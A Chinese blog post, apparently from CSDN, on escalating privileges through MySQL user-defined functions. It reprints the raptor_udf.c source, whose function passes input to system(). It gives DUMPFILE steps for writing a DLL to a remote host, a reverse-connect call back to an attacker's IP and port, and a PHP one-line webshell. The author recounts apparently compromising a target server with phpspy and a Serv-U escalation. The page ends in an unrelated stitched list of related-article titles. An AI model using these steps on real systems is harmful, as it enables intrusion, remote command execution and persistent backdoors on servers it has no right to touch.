本来一直以为利用mysql就只能导出webshell,但是前一段时间无意中发现了一篇文章《Windows下通过MySQL以SYSTEM身份执行系统命令》,于是再继续搜索了一下相关的文章。

其中上传文件是利用了mysql命令“SELECT * FROM mix INTO DUMPFILE 'c://abc.dll';”(以前导文本我都只是用select * from tablename into outfile 'c://abc.txt'),想不到可以导出二进制文件。

至于执行命令,是利用了mysql的自定义过程来实现的。查了下,一个简单符合mysql的dll是如下格式的:

[code]

/*

* $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $

*

* raptor_udf.c - dynamic library for do_system() MySQL UDF

* Copyright (c) 2004 Marco Ivaldi

*

* This is an helper dynamic library for local privilege escalation through

* MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.

*

* Code ripped from: http://www.ngssoftware.com/papers/HackproofingMySQL.pdf

*

* "MySQL provides a mechanism by which the default set of functions can be

* expanded by means of custom written dynamic libraries containing User

* Defined Functions, or UDFs". -- Hackproofing MySQL

*

* Usage:

* $ id

* uid=500(raptor) gid=500(raptor) groups=500(raptor)

* $ gcc -g -c raptor_udf.c

* $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc

* $ mysql -u root -p

* Enter password:

* [...]

* mysql> use mysql;

* mysql> create table foo(line blob);

* mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));

* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';

* mysql> create function do_system returns integer soname 'raptor_udf.so';

* mysql> select * from mysql.func;

* +-----------+-----+---------------+----------+

* | name      | ret | dl            | type     |

* +-----------+-----+---------------+----------+

* | do_system |   2 | raptor_udf.so | function |

* +-----------+-----+---------------+----------+

* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');

* mysql> /! sh

* sh-2.05b$ cat /tmp/out

* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

* [...]

*/

#include

#include

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {

unsigned int  arg_count; // number of arguments

enum Item_result *arg_type; // pointer to item_result

char    **args;  // pointer to arguments

unsigned long  *lengths; // length of string args

char   *maybe_null; // 1 for maybe_null args

} UDF_ARGS;

typedef struct st_udf_init {

char   maybe_null; // 1 if func can return NULL

unsigned int  decimals; // for real functions

unsigned long   max_length; // for string functions

char   *ptr;  // free ptr for func data

char   const_item; // 0 if result is constant

} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

{

if (args->arg_count != 1)

return(0);

system(args->args[0]);

return(0);

}

[/code]

呵呵,好简单,(在VC下编译,好像是cl /LD abc.c,对VC我不熟悉,没办法)

不过,按照网上说法,是要转到mysql表中创建二进制表格和导出才可以成功,在test下可能不成功。

但是我几次导出都不成功,甚至是把二进制文件导出来都会有错,(其中部分会出乱码)。

因为我一开始时犯了点错误,我用mysql客户端,进入mysql命令提示行下后,粘贴dll文件,但是总是会粘贴不了那么,所以导致文件不齐全。这个问题困扰了我好长时间,因为在即使修改windows的console窗口的缓冲区大小也是不行,后来甚至想到使用fterm通过linux下的mysql客户端进行,结果也是失败。最终才发现自己是多么的愚笨,其实mysql是有导入mysql命令的功能的,也就是可以使用mysql -u root -h hostname -p < script.txt,把这些代码导入去的,也就不存在代码过长无法粘贴的问题。第二个遇到的问题,是即使导入的数据正确,但导出的二进制数据的最前端会无故多出半个字节(8Bit)的0,也就是假如是使用

第三个问题:我在本地测试,把下回来的mix.dll放在mysql可以访问的目录下,然后"create function myconnect returns integer soname 'c://mix.dll';,结果返回说no paths allow for the share libraly,(大意如此,具体字符忘记了),上网一查,结果又找到另一个具说的漏洞,说是mysql中在载入自定义函数dll时,会检查是否存在“/”,如果存在则不让加载,漏洞的表述意思是可以往mysql.func中直接插入自定义函数的路径和函数名,然后强迫mysql重启,重启后的mysql将不会检查mysql.func中的路径,只可惜我在本地测试还是没有成功。重启后再使用自定义函数,还是提示函数没有定义,可能是我使用的mysql版本已经没有这个漏洞了,不过,反正我在本地测试自定义函数的提权是失败了。不过,总算还好,使用导出二进制代码的方法可以在远程得到一个phpspy的webshell。

归纳上传办法如下:(虽然我直接导出不有错误)

一、新建文件script.txt,内容如下

use mysql;

DROP TABLE IF EXISTS mix;

create table mix(data LONGBLOB);

set @a=                                 //这里先空开,等下粘贴内容过来

INSERT into mix values (CONVERT(@a,CHAR));

SELECT * FROM mix INTO DUMPFILE '远方主机目录和文件名,注意用/转义路径;

drop table mix;

二、  使用winhex打开要上传的文件,然后copy all -> hex value,粘贴到刚才那个set @a=后面,这样就变成了定义一个变量@a,值就是那个文件的值了。

三、在myql客户端执行 mysql -u root -h 远程主机 -p

一、先用上面的办法导出一个mix.dll(mix.dll自己找)

二、CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C://Mix.dll';/*注意修改文件地址

select Mixconnect('127.0.0.1','886');/*注意修改反连回来的IP地址和端口号

ps:本来上传webshell是不需要用到这么麻烦的,但是刚好测试的目标主机web user没有什么权限,上传文件等代码都不成功,虽然导出了一句话木马,但是居然不能执行,它原本的php上传文件功能也不行(估计是主机的权限发生了变化后管理员没有设置好,导致上传到临时目录后没有权限把文件写回web目录。直接导其它一点稍微大点的木马时,似乎是一碰到中文或单引号或"/"之类的转义符就会出错,导致导出的木马不能被执行。 好不容易导出一个servU的本地提权php文件,似乎可以执行,但是最终没有效果。(后来估计可能还是哪里导出时被改变了)。最终只好用这个方法来导phpspy2006了--(呵呵,正好前段时间发觉asp和php木马免杀其实是件非常容易的事),导出webshell后,发现web目录下web user是没有写权限,不过servU提权却非常顺利的成功了。终于搞掂,学到了点关于mysql入侵的知识。不过始终想不能当初导出的<?php system($cmd); ?>这样的代码为什么只能dir c:,一到dir c:/inetpub之类的都不行,但实际上是有权限读取的。

mysql能上传程序吗_利用mysql上传和执行文件相关推荐

  1. mysql 中英按字母排序_利用MySQL数据库来处理中英文取首字母排序

    很久都没有写博客了, 但是也积攒了了很多的问题, 下次找个时间一起整理一下, 然后记录下来, 以备不时之需. 我们的联系人列表经常会有按照首字母排序的需求.  这个很方便, 很清晰, 如果不说性能如何 ...

  2. Mysql能删了重装吗_【MySQL】干净删除MySQL,无报错重装

    今天想重装下MySQL数据库,本来以为挺简单的一个事情,一不小心被卡住了,记录下,以后重装搞不好就用上了 要重装MySQL,嗯首先要有个MySQL安装包. 接着做以下几个事情就好了 1. 关闭MySQ ...

  3. 设有n 个程序{1,2,…, n }要存放在长度为L的磁带上。程序i存放在磁带上的长度是Li, 1<= i<= n。这n 个程序的读取概率分别是p1,p2,...,pn,且pi+p2+...+pn =

    设有n 个程序{1,2,-, n }要存放在长度为L的磁带上.程序i存放在磁带上的长度是Li, 1<= i<= n.这n 个程序的读取概率分别是p1,p2,-,pn,且pi+p2+-+pn ...

  4. java 转换上传文档_自己编写JAVA环境下的文件上传组件 (转)

    客户端上传后,端的数据流头尾部格式如下,这里上传了一个文档 我们看看数据流的头部: -----------------------------7d22f821706e0Content-Disposit ...

  5. mysql小王 保密_利用mysql的注射点得到更多mysql的信息

    当注射mysql库的输入点的时候,我们可以通过version()/user()/database()/password()等内置函数来得到mysql的相关信息,其实我们在注射的时候可以利用mysql内 ...

  6. 利用mysql数据库中_利用mysql和mysqli取得mysql的所有数据库和库中的所有表

    功能:利用mysql和mysqli两种连接数据库的方法,取得Mysql服务器上的所有数据库和库中的所有表. 环境:自己用分开安装apache mysql php搭建的环境 操作系统是:windows ...

  7. mysql触发器生成流水_利用mysql触发器生成流水号

    http://blog.csdn.net/bluestream/article/details/5755176 利用mysql触发器可以生成如日期(20100721)+编号(0001)的流水号,编号每 ...

  8. mysql到mysqli转变表_利用mysql和mysqli取得mysql的所有数据库和库中的所有表

    /*** mysqli  op mysql demo*//***公用函数*//***功能:列出一个数据库的所有表*@param$dbname*@param$con*/functionlist_tabl ...

  9. mysql insert 错误码_利用 MySQL 自身错误诊断区域-爱可生

    原标题:利用 MySQL 自身错误诊断区域-爱可生 背景 本篇文章来源于今天客户问的一个问题. 问题大概意思是:我正在从 Oracle 迁移到 MySQL,数据已经转换为单纯的 INSERT 语句.由 ...

  10. centos mysql 5.2.3 编译安装_在CentOS上编译安装MySQL 5.7.13步骤详解

    MySQL 5.7主要特性 更好的性能 对于多核CPU.固态硬盘.锁有着更好的优化,每秒100W QPS已不再是MySQL的追求,下个版本能否上200W QPS才是用户更关心的. 更好的InnoDB存 ...

最新文章

  1. 写了 5 年 Java,这些坑还是没躲过……
  2. sqlserver 批量插入数据(此方式同样适用mysql)
  3. 【新鲜出炉】25套的精美 Web 应用程序图标素材
  4. php中隐藏网址,是否隐藏前台网址中的index.php文件名 解决方法
  5. 聊天机器人有了长期记忆,遇到不懂的还能上网搜索,网友:像极了不懂装懂时偷偷百度的我...
  6. Python脚本图解
  7. 机器人网首页应用实例工业自动化 EtherCAT 技术在库卡机器人控制系统上的应用
  8. STM32CAN外设使用
  9. 剑指 Offer II 117. 相似的字符串
  10. IPTV视频码流分析
  11. 【转载】]基于RedHatEnterpriseLinux V7(RHEL7)下SPEC CPU 2006环境搭建以及测试流程 介绍、安装准备、安装、config文件以及运行脚本介绍...
  12. C# richTextBox滚动到最后一行 显示最后一行 自动跳转最后一行
  13. 威纶触摸屏数值元件格式设置_在威纶触摸屏当中,数值输入元件那里的设备类型的字母都表示什么意思啊...
  14. 3DMAX解决Vray渲染材质溢色问题的三种方法
  15. 生产仓储条码外贸管理解决方案
  16. linpack环境搭建:Openmpi+Openblas+HPL安装教程
  17. 研究生科研素养提升的测试题
  18. NOC2021年测试卷3
  19. 如何写linux软件专利,Linux之父:软件专利和方法专利都挺扯淡
  20. 和平精英服务器维护到几点,和平精英停服到几点钟?4月4日停服时间公告[多图]...

热门文章

  1. python贴吧顶贴_python实现贴吧顶贴机器人
  2. VMware虚拟机桥接模式
  3. 关于Vivado综合属性:MAX_FANOUT
  4. 多多客id是什么意思_【拼多多】关于多多客比价行为规范解释说明
  5. QQ对话框、背景渐变色
  6. 洛谷试炼场一句话题解
  7. 矩阵连乘问题算法思想_动态规划之矩阵连乘问题
  8. Ragel State Machine Compiler 的速度测试
  9. poj 1838 Banana
  10. 数据库实验报告(一)